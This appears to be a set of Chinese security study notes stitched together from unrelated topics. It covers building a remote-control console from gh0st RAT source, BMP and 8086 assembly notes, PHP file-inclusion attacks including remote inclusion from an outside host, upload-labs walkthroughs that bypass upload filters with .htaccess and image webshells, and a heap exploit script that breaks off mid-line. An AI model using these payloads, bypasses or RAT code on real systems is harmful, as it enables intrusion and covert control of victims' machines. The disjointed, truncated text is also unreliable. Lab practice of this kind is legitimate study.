6.添加CreateToolBar()函数

7.分析CTrueColorToolBar类:

                    继承CToolBar

8.查看MSDN CToolBar类:

9.CreateToolBar()函数中写入代码:
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN))
{
TRACE0(“Failed to create toolbar\n”);
return; // fail to create
}
m_ToolBar.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_ToolBar.LoadTrueColorToolBar
(
48, //加载真彩工具条
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN
);
RECT rt,rtMain;
GetWindowRect(&rtMain);
rt.left=0;
rt.top=0;
rt.bottom=80;
rt.right=rtMain.right-rtMain.left+10;
m_ToolBar.MoveWindow(&rt,TRUE);

m_ToolBar.SetButtonText(0,"终端管理");  m_ToolBar.SetButtonText(1,"进程管理"); m_ToolBar.SetButtonText(2,"窗口管理"); m_ToolBar.SetButtonText(3,"桌面管理"); m_ToolBar.SetButtonText(4,"文件管理"); m_ToolBar.SetButtonText(5,"语音管理"); m_ToolBar.SetButtonText(6,"视频管理"); m_ToolBar.SetButtonText(7,"服务管理"); m_ToolBar.SetButtonText(8,"注册表管理"); m_ToolBar.SetButtonText(10,"参数设置"); m_ToolBar.SetButtonText(11,"生成服务端"); m_ToolBar.SetButtonText(12,"帮助"); RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);

10.OnSize中添加代码:
if(m_ToolBar.m_hWnd!=NULL) //工具条
{
CRect rc;
rc.top=rc.left=0;
rc.right=cx;
rc.bottom=80;
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
}

11.Oninitdialog 中添加CreateToolBar

1.10 为程序添加系统托盘

1.创建菜单资源
ID: IDR_MENU_NOTIFY
添加子菜单 显示 IDM_NOTIFY_SHOW
退出 IDM_NOTIFY_CLOSE

2.认识一个API

    Shell_NotifyIcon     BOOL Shell_NotifyIcon(                    //向系统托盘中加入图标                       DWORD dwMessage,         //状态                                  PNOTIFYICONDATA lpdata   //含有图标  消息响应 的一个结构体     );

3.认识NOTIFYICONDATA 结构体:

       typedef struct _NOTIFYICONDATA {DWORD cbSize;       //结构体自身大小HWND hWnd;          //托盘的父窗口  托盘发出的消息由哪一个窗口响应UINT uID;           //显示图标的IDUINT uFlags;         //托盘的状态 (如有图标，有气泡提示，有消息响应等)UINT uCallbackMessage; //托盘事件的消息响应函数HICON hIcon;            //图标的变量TCHAR szTip[64];        //气泡的显示文字DWORD dwState;          //图标的显示状态DWORD dwStateMask;      //图标的显示状态TCHAR szInfo[256];      //气泡的显示文字  (可以忽略)union {    UINT uTimeout;    UINT uVersion;};TCHAR szInfoTitle[64];DWORD dwInfoFlags;GUID guidItem;HICON hBalloonIcon;    } NOTIFYICONDATA, *PNOTIFYICONDATA;

4.在oninitdialog函数中写入加入系统脱盘的代码:

      nid.cbSize = sizeof(nid);     //大小赋值nid.hWnd = m_hWnd;           //父窗口nid.uID = IDR_MAINFRAME;     //icon  IDnid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;   //托盘所拥有的状态nid.uCallbackMessage = UM_ICONNOTIFY;            //回调消息nid.hIcon = m_hIcon;                            //icon 变量CString str="PCRemote远程协助软件.........";       //气泡提示lstrcpyn(nid.szTip, (LPCSTR)str, sizeof(nid.szTip) / sizeof(nid.szTip[0]));Shell_NotifyIcon(NIM_ADD, &nid);   //显示托盘

5.演示 ，在窗口销毁时托盘依然存在

6.添加WM_CLOSE消息并写入代码:

  Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标

7.stdafx.h文件中加入自定义消息的定义

 //自定义消息enum{    UM_ICONNOTIFY= WM_USER+0x100,};

8.声明消息处理函数:
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);

9. cpp文件中写入代码:

       void CPCRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam){    switch ((UINT)lParam)    {    case WM_LBUTTONDOWN: // click or dbclick left button on icon    case WM_LBUTTONDBLCLK: // should show desktop        if (!IsWindowVisible())             ShowWindow(SW_SHOW);        else            ShowWindow(SW_HIDE);        break;    case WM_RBUTTONDOWN: // click right button, show menu        CMenu menu;        menu.LoadMenu(IDR_MENU_NOTIFY);        CPoint point;        GetCursorPos(&point);        SetForegroundWindow();        menu.GetSubMenu(0)->TrackPopupMenu(            TPM_LEFTBUTTON|TPM_RIGHTBUTTON,             point.x, point.y, this, NULL);         PostMessage(WM_USER, 0, 0);        break;    }}

10.添加消息响应:

ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify)  

11.添加显示菜单消息响应

二、加入Socket数据传输的内核

2.3

1.复制gh0st主控端的include文件夹到我们的工程下。

2.包含复制过来的include 文件夹下的文件。

选择 项目 -> 添加现有项 -> 选择include所有文件

3.复制common文件夹到我们的工程的上一层目录下。

4.改变 #include “zlib\zlib.h” 的文件路径#include “......\common\zlib\zlib.h”

根据本地文件位置修改

5.注释掉//#include “../MainFrm.h”
6.添加....\common\zlib\zlib.lib库

属性-->连接器-->输入-->附加依赖项 ..\..\common\zlib\zlib.lib

7.忽略特定默认库LIBCMT.lib

遇到报错：

在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加“#include “pch.h””?

解决办法：取消预编译头：

菜单栏，项目 ——> 【项目名称】属性 ——> 配置属性 ——> c/c++ ——> 预编译头

8.编译成功ok…………

2.4加入端口监听功能

1.分析gh0st监听端口的代码:

         Activate(UINT nPort, UINT nMaxConnections)

2.需要一个回调函数

       NotifyProc

3.复制NotifyProc 代码 去掉多余的代码

void CALLBACK CMFCghostDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode){    try    {        switch (nCode)        {        case NC_CLIENT_CONNECT:            break;        case NC_CLIENT_DISCONNECT:            //g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);            break;        case NC_TRANSMIT:            break;        case NC_RECEIVE:            //ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收            break;        case NC_RECEIVE_COMPLETE:            //ProcessReceiveComplete(pContext);       //这里时完全接收 处理发送来的数据 跟进    ProcessReceiveComplete            break;        }    }    catch (...) {}}

添加定义：

CIOCPServer* m_iocpServer = NULL;

4.复制Activate 代码 并处理

void CMFCghostDlg::Activate(UINT nPort, UINT nMaxConnections){    CString        str;    if (m_iocpServer != NULL)    {        m_iocpServer->Shutdown();        delete m_iocpServer;    }    m_iocpServer = new CIOCPServer;    ////lang2.1_8    // 开启IPCP服务器 最大连接  端口     查看NotifyProc回调函数  函数定义    if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))    {        char hostname[256];        gethostname(hostname, sizeof(hostname));        HOSTENT* host = gethostbyname(hostname);        if (host != NULL)        {            for (int i = 0; ; i++)            {                str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);                if (host->h_addr_list[i] + host->h_length >= host->h_name)                    break;                str += "/";            }        }        //m_wndStatusBar.SetPaneText(0, str);        //str.Format("端口: %d", nPort);        //m_wndStatusBar.SetPaneText(2, str);        str.Format("监听端口: %d成功", nPort);        ShowMessage(true, str);    }    else    {        //str.Format("端口%d绑定失败", nPort);        //m_wndStatusBar.SetPaneText(0, str);        //m_wndStatusBar.SetPaneText(2, "端口: 0");        str.Format("监听端口: %d失败", nPort);        ShowMessage(false, str);    }    //m_wndStatusBar.SetPaneText(3, "连接: 0");}// CPCRemoteDlg 消息处理程序

5.监听后添加日志消息

str.Format("监听端口: %d成功", nPort);ShowMessage(true,str);//elsestr.Format("监听端口: %d失败", nPort);ShowMessage(false,str);

6.测试 netstat -an

可以看到2000端口被占用

ps bmp文件格式

1.一个bmp文件由四部分组成:

     struCt tagBITMAPFIlEHEADER     strut tagBITMAPINFOHEADER     typedef tagRGBQUAD     位图数据

bmp文件结构解析

1.
typedef struCt tagBITMAPFIlEHEADER

{

WORD bftype； //BM

DWORD bfsiZe： //位图文件大小

WORD bfReservedl； //必须为0

WORD bgReserved2： //必修为0

DWORD bfoffBits： 图像数据在 文件内的起始地址

}BITMAPFILEHEADER；

2.
BITMAPINFOHEADER数据结构用于说明位图的大小，其定义为：

type struct tagBITMAPINFOHEADER

{

DWORD biSize： //结构BITMAPINFOHEADER所占用的存储容量，固定值为40

DWORD biWldth； //给出该BMP文件所描述位图的宽度与高度

DWORD biHeight； //给出该BMP文件所描述位图的宽度与高度

WORD biPlanes： //它代表目标设备的平面数必须为1。

WORD biBitCount： //它确定每个像素所需要的位数。 当图像为单色时，该字段的取值为1；当图像为16色时，该字段的取值为4；当图像为256 色时，该字段的取值为8；当图像为真彩色时，该字段的取值为24。

DWORD biCOmpression；//它代表bottom—up类型位图的 压缩类型

DWORD biSiZelmage； //给出该BMP 内图像数据占用的空间大小

DWORD biXPelsPerMeter：//它们分别以每米像素数为单位，给出位图目的设备水平以及垂直方向的 分辨率

DWORD biYPelsPerMeter：//它们分别以每米像素数为单位，给出位图目的设备水平以及垂直方向的 分辨率

DWORD biClrUsed； //给出位图实际使用的颜色表中的 颜色变址数

DWORD biClrlmportant；//它给出位图显示过程中 重要颜色的变址数。

}BITMAPINFOHEADER；

3.调色板数据

typedef struct tagRGBQUAD

{

BYTE rgbBlue；

BYTE rgbGreen；

BYTE rgbRed；

BYTE rgbReserved； //它不代表任何意 义，必须取固定值00

}RGBQUAD；

3.. bmp结构还提供了另外一个结构类型 ，看他的成员定义就知道了
tyPedef stmCt tagBITMAPINFO

{

BITMAPINFOHEADER bmiHeader：

RGBQUAD bmiC010ur[1]；

}BITMAPINFO；

4.位图数据
注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行

-r
查看寄存器内容

-r ip   :0                            将IP改为0000

-t 单步执行

-d 查看内存内容（几个字节）

-e 改写偏移地址

-u 将机器码编译为汇编指令

-a 以汇编语言的形式写入程序

MASA中
move ax , [0] 将al的值赋值为0

move ax , ds:[0] 将偏移地址为0的内存单元的内容放进ax中

move ax , [bx] 将bx的内容放进ax中

dw 定义字形数据 //数据以字为单位，而非字节

dw 定义字形数据
数据以字为单位，而非字节

dw定义 字 类型变量，一个字数据占2个字节单dao元，读完一个，偏移量加2db定义 字节 类型变量，一个字节数据占1个字节单元，读完一个，偏移量加1。dd定义 双字类 型变量，一个双字数据占4个字节单元，读完一个，偏移量加4。  

AX的 低八位是AH寄存器， 高八位是AX 寄存器

dup 3（0）定义三个字节： 0，0，0

offset 取标号的偏移地址 // start : mov ax , offset start ;相当于 mov ax , 0

mul bl
//al与 bl 相乘结果保存至 ax

div

被除数：默认放在AX或DX和AX，如果除数为8位，被除数则为16位，默认在AX中存放；如果除数 为16位， 被除数则为32位，在DX和AX中存放，DX存放高16位，AX存放低16位。结果：如果除数为8位，则AL存储除法操作的商，AH存储除法操作的余数；如果除数为16位，则AX存储除法操作的商，DX存储除法操作的余数。

inc 自增 1

dec 自减 1

jump 跳转

jcxz cx==0 时跳转

call

sp=sp-2((ss)*16+(sp))=ipip=ip+十六位位移

push ip

jump near ptr 标号

ip=ip+十六位位移

**call far ptr 标号 **

push  cspush  ipjump far ptr 标号

ret

pop  ip

retf

pop  ippop  cs     

可以 call 和 ret 的配合使用

**标志寄存器 **

ZF （零标志位）

记录指令执行后结果是否为0结果=0，ZF=1 ； 结果!=0 ,ZF=0

PF （奇偶标志位）

1的个数为偶数，PF=1 ；1的个数为奇数，PF=0 ;

SF (符号标志位)

结果为负，sf=1 ;结果为正，sf=0 ;

CF (进位标志位)

在无符号运算中，记录运算结果是否向更高位进位。

记录进位或借位值 。

OF （溢出）

在有符号运算中

有溢出，of=1；无溢出，of=0；

adc指令

格式：adc 操作对象1 ， 操作对象2

如

    adc ax , bx功能(ax)=(ax)+(bx)+cf

sbb （借位减法指令）

指令格式： sbb 操作对象1 ， 操作对象2

功能 ： 对象1 = 对象1 - 对象2 -cf

如sbb ax , bx (ax)=(ax)-(bx)-cf

cmp (比较指令)

格式： cmp 对象1 ， 对象2

功能： 计算对象1 - 对象2 ，结果不保存，仅改变标志寄存器。

用于比较大小时，若有溢出，结果不一定正确。

检测比较结果的条件转移指令

df标志和传送指令

df=0 操作后 si di 递增

df=1 操作后 si di 递减

↑（用于指明传送方向）↑

格式 movsb

功能：传送字节

（1）

((es)*16+(di))=((ds))*16+(si))

(2)

如果df=0则： (si)=(si)+1 ; (di)=(di)+1

如果df=1则： (si)=(si)-1 ; (di)=(di)-1

♤

格式 movsw

功能：传送字

（1）

((es)*16+(di))=((ds))*16+(si))

(2)

如果df=0则： (si)=(si)+2 ; (di)=(di)+2

如果df=1则： (si)=(si)-2 ; (di)=(di)-2

pushf : 将标志寄存器的值压栈

popf ：从栈处弹出数据送入标志寄存器

内中断

过程

（1）取得中断码N ；

（2）pushf

（3）TF=0, IF=0

（4）push cs ; push ip

（5）(ip)=(N4) , (cs)=(N4)+2

最后cpu开始执行程序员编写的中断处理程序

iret 指令

功能：

pop IP

pop CS

popf

int

格式 int n

功能 ：

（1）取中断类型码n

（2）标志寄存器，IF=0,TF=0

（3）CS,IP入栈

（4）(ip)=(n4),(cs)=(n4+2)

端口

读写端口指令

in ax , 21h ;

out ax , 21h ;

逻辑移位指令

shl : 将寄存器或内存单元的数据左移一位，将最后移出的一位写入CF中。其他用0补足。

shr ： 与shl相反。

外中断(外设引发的中断)

cpu检测到可屏蔽中断，如果IF=1.执行完当前指令后，执行中断；
如果 IF-0 . 不执行中断。

不可屏蔽中断过程

标志寄存器入栈，IF=0，TF=0；

cs,ip入栈；

(ip)=(8),(cs)=(OAH)

如图

相当于

for(i=1000 ; i>0 ; i--){    for(j=10000 ; j>0 ; j--)    {    }}

seg

取标号处段地址。

1、文件包含漏洞简介
1、1什么是文件包含

     程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数

时，直接调用此文件，无需再次编写，这种调用文件的过程一般被称为文件包含。

1、2 文件包含漏洞的成因

         随着网站业务的需求，程序开发人员一般希望代码更灵活，所以将被包

含的文件设置为变量，用来进行动态调用，但是正是这种灵活性通过动态变
量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做
合理的校验或者校验被绕过就造成了文件包含漏洞。

1、3 PHP中常见包含文件的函数

Ø include( )
当使用该函数包含文件时，只有代码执行到 include()函数时才将文件包含
进来，发生错误时之给出一个警告，继续向下执行。
Ø include_once( )
功能与Include()相同，区别在于当重复调用同一文件时，程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误，函数会输出
错误信息，并终止脚本的运行。
Ø require_once( )
功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次。

几乎所有的脚本语言中都提供文件包含的功能，但文件包含漏洞在 PHP 中
居多，而在JSP、ASP、ASP.NET程序中非常少，甚至没有包含漏洞的存在。这

与程序开发人员的水平无关，而问题在于语言设计的弊端。

2.举例说明

2.1

有1.txt文件,并且无限制

<?php$filename=$_GET['filename'];include($filename)?>

直接访问127.0.0.1，只能显示1.txt的代码。

但是利用文件包含漏洞，就可以运行1.txt的代码

2.2

1.txt有限制

<?php$filename=$_GET['filename'];include ($filename." .html" );?>

指向了文件后缀为html
这样1.txt就变成了 1.txt.html 这样没有这个文件，所以会执行失败

那么如何绕过

%00截断:条件: magic quotes gpc = off php版本<5.3.4

http://127.0.0.1:8080/include.php?filename=1.txt%00

长度截断:条件: windows，点号需要长于256; linux长于4096

填充垃圾长度，使得.html无法被加上

2.3跨目录包含

http://1227.0.0.1:8080/include.php?filename=../../1.txt

3.远程包含

allow_url_include打开时支持远程包含

访问并执行远程文件

如果远程文件为后门代码，那么该代码会被执行并被连接

3.2有限制远程包含绕过

http://127.0.0.1:8080/include.php?filename=http: / / www.xiaodi8.com/readme.txt

http://127.0.0.1:8080/include.php?filename=http :/ / www.xiaodi8.com/readme.txt%20

http: //127.0.0.1:8080/include.php?filename=http: // www.xiaodi8.com/readme.txt%23

http://127.0.0.1:8080/include.php?filename=http : / / www.xiaodi8.com/readme.txt?

4.利用协议

各种php伪协议的用法

5.靶场训练

无论直接访问还是利用参数访问，都执行了页面代码。也可根据页面代码发现存在文件包含漏洞

利用php伪协议查看目录

利用php伪协议查看文件，查看源代码

对文件上传类型进行区分，是属于编辑器文件上传，还是属于第三方应用，还是会员中心。要确保文件上传是什么类型，就用什么类型方法对它进行后期的测试。

常规类：扫描获取上传，会员中心上传，后台系统上传，各种途径上传

CMS类：已知CMS源码，搜索已知cms漏洞

编辑器类：ckeditor,fckeditor,kindeditor,xxxeditor，也是搜索相关编辑器漏洞

配合解析漏洞下的文件类型后门：可以通过解析漏洞，上传包含后门代码的图片

上传方法

方法一

先直接传一个PHP，实战先传马。实战先传一个正常的图片，看看有无返回存储地址。如果能直接上传并解析，已离成功不远。

方法二
先传一个shell，然后进行修改。
connect-Type:image/jpeg，看看是否可以进行绕过，如果不行，在上传内容添加GIF89a
当然上传了还得看是否能够被解析为php，所有的上传都要考虑是否能够被解析。

方法三
上传一个abc.abcd，目的只是为了查看是否为白名单还是黑名单绕过。
黑名单限制一般为此文件类型不允许上传，考虑双写，大小写，空格，php2,php3,php4,php5,pht
phtml,等方式
我们继续上传一个/htaccess文件
.htaccess文件能够设置服务器的解析文件的格式，匹配到dudu就已php的格式来解析，继而上传马
如果说.htaccess不能上传，接下来上传一个.user.ini，继而上传一个马

方法四
如果白名单限制上传
考虑00截断上传
文件包含漏洞+图片马
文件包含漏洞+二次渲染+图片马

方法五
上传的东西是否被服务器很快的删除或者移除，或者说上传成功，但是无法访问，就得考虑条件竞争。
以上均不行，考虑逻辑层面的思路。

涉及资源

https://github.com/c0ny1/upload-labs

后端黑白名单绕过

文件上传常见验证

后缀名（直接），类型（间接），文件头等

后缀名

黑名单，白名单

黑名单：

明确不允许上传的格式后缀

asp php jsp aspx cgi war 等

如果php phtml..没有定义到后名单里，可以用这格式绕过限制，依旧可以达到效果

白名单

明确可以上传的格式后缀

jpg png zip rar gif 等

要白名单验证要更安全

文件类型：MIME 信息

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，

当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式

Content-Type称之为MIME信息

靶场练习

upload-lab-01

由于采用了前端验证，所以可以通过抓包直接修改文件格式，从而绕过。

upload-lab-02

拦截上传shell.php的请求包，修改文件类型为：image/jpeg或者image/png或者image/gif

upload-lab-03

采用了黑名单的过滤方式

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array('.asp','.aspx','.php','.jsp');        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空        if(!in_array($file_ext, $deny_ext)) {            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {                 $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];                 $is_upload = true;            }        } else {            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';    }}

php,phps,php3,php5,pht等都有可能被解析成php文件的，当然这得取决apache的配置。先试试看，通过Burpsuite改包上传成功。

upload-lab-04

利用 .htaccess 文件进行绕过

其内容为 AddType application/x-httpd-php .jpg

可以将jpg格式的文件作为php文件进行解析

先上传 .htaccess 文件再上传 hacker.jpg 文件

upload-lab-05

大小写绕过，window上搭载的服务器是不区分大小写的，而Linux上的服务器是区分的，所以win上搭载的服务器可以通过大小写绕过防护。

upload-lab-06

还是黑名单限制，通过查看源代码，知道删除了文件名后面的., 但是并没有删除空格，所以通过上传一个后缀名再添加一个空格的文件去绕过黑名单，windoes在创建文件时会自动删掉最后的空格。

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");        $file_name = $_FILES['upload_file']['name'];        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        if (!in_array($file_ext, $deny_ext)) {            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {                $img_path = UPLOAD_PATH . '/' . $file_name;                $is_upload = true;            }        } else {            $msg = '此文件不允许上传';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';    }}

upload-lab-07

在第七行发现，原来是没有过滤末尾的点呀，吸取上一次的教训，直接修改后缀名在后面加.是不可以的，因为会被win自动过滤

所以还是使用抓包修改

1

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {            $is_upload = true;        } else {            $msg = '上传出错！';        }    } else {        $msg = '此文件类型不允许上传！';    }} else {    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}

}

2

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

    if (!in_array($file_ext, $deny_ext)) {        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;        if (move_uploaded_file($temp_file, $img_path)) {            $is_upload = true;        } else {            $msg = '上传出错！';        }    } else {        $msg = '此文件不允许上传!';    }} else {    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}

}

upload-lab-08

和7一样的

$file_name = deldot($file_name);//删除文件名末尾的点

少了这个过滤，

所以我们可以进行文件名加点绕过。

Windows有个特性，就是如果文件名后缀以.或者空格结尾的，系统在保存文件时会自动去除点和空格。所以可以通过在文件名后面增加一个点来绕过限制

upload-lab-09

源码截取

if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

比起上面的，都进行了过滤和限制，但是存在逻辑漏洞

当我们构造一个 phpinfo.php. .的文件时

phpinfo.php. .　　–删除文件名末尾的点–>phpinfo.php.

phpinfo.php. 　　 ——转换为小写———->phpinfo.php.

phpinfo.php. 　　 —去除字符串::$DATA–>phpinfo.php.

phpinfo.php. 　　 ——-首尾去空————>phpinfo.php.

phpinfo.php.　　 –后缀没有在黑名单中—>成功上传—–>解析时默认删除末尾的 . —>最终等价于上传了phpinfo.php文件

upload-lab-10

上传 10.pphphp 文件

后端黑名单中包含 ‘php’ , 会将php替换为空 , 但只替换一次 , 替换后的文件名为 10.php , 仍然可以正常使用

upload-lab-11

%00截断

.pphphp

都不对，气死了

upload-lab-12

利用%00url截断绕过

upload-lab-13

也是利用%00url截断绕过，但是环境问题无法验证，需要低版本的php

upload-lab-14

制作图片木马https://blog.csdn.net/qq_42702981/article/details/118652121

存在文件包含漏洞

<?php/*本页面存在文件包含漏洞，用于测试图片马是否能正常运行！*/header("Content-Type:text/html;charset=utf-8");$file = $_GET['file'];if(isset($file)){    include $file;}else{    show_source(__file__);}?>

判断了是否为图片

function isImage($filename){    $types = '.jpeg|.png|.gif';    if(file_exists($filename)){        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext)){            return $ext;        }else{            return false;        }    }else{        return false;    }}

上传带有木马的jpg文件，通过文件包含漏洞执行

upload-lab-15

与14相同

upload-lab-16

https://blog.csdn.net/u014029795/article/details/102908114

存在二次渲染，需要手动寻找未被修改的位置，写入payload.

https://blog.csdn.net/u014029795/article/details/102908114

upload-lab-17

条件竞争

通过不断发包从而达到效果，可以通过burp进行爆破

https://www.fujieace.com/penetration-test/upload-labs-pass-17.html

upload-lab-18

和17 相同

upload-lab-19

CPP

UAF漏洞，在rm函数中，并没有将指针设置为0.所以我们可以将某个chunk free 后然后直接利用md函数修改其fd指针，从而进行unsortbin_attack

add(0),free(0)后可以直接利用未消除的指针进行泄露地址

这里可以选择覆盖tcache_str为大数，下下次分配chunk时将直接进入unsortbin。
这里需要格外注意的是，这里并未直接将改tcache_num设置为7 ，而是利用tcache和unsortbin的指针指向相差了0x10，因此被分配到最高地址的chunk被free时将会进入unsortbin，而其上一个被free的chunk仍进入tchche这为之后修改tchche的fd提供了方便

第一次free:

第二次free:

也是因为未清除指针的原因，可以直接读出fd的值然后计算出__free_hook

覆盖tcache的fd为__free_hook，然后连续malloc两个chunk,free掉有“/bin/sh\x00”的chunk

#! /usr/bin/python3from pwn import*io = process('./cpp2')elf = ELF("./cpp2")libc = ELF('./libc-2.31.so')r   =  lambda x : io.recv(x)rx  =  lambda x: io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')def ad(idx,size): sla('>>',str(1)) sla('I:>>',str(idx)) sla('S:>>',str(size))def md(idx,con): sla('>>',str(2)) sla('I:>>',str(idx)) sla('V:>>',con)def rm(idx): sla('>>',str(4)) sla('I:>>',str(idx))def dp(idx): sla('>>',str(3)) sla('I:>>',str(idx))ad(0,0x67)ad(1,0x67)ad(2,0x67)ad(3,0x67)rm(0)rm(1)dp(1)io.recvuntil('\n')heap = u64(io.recv(6).ljust(8,b'\x00')) - 0x12EC0 + 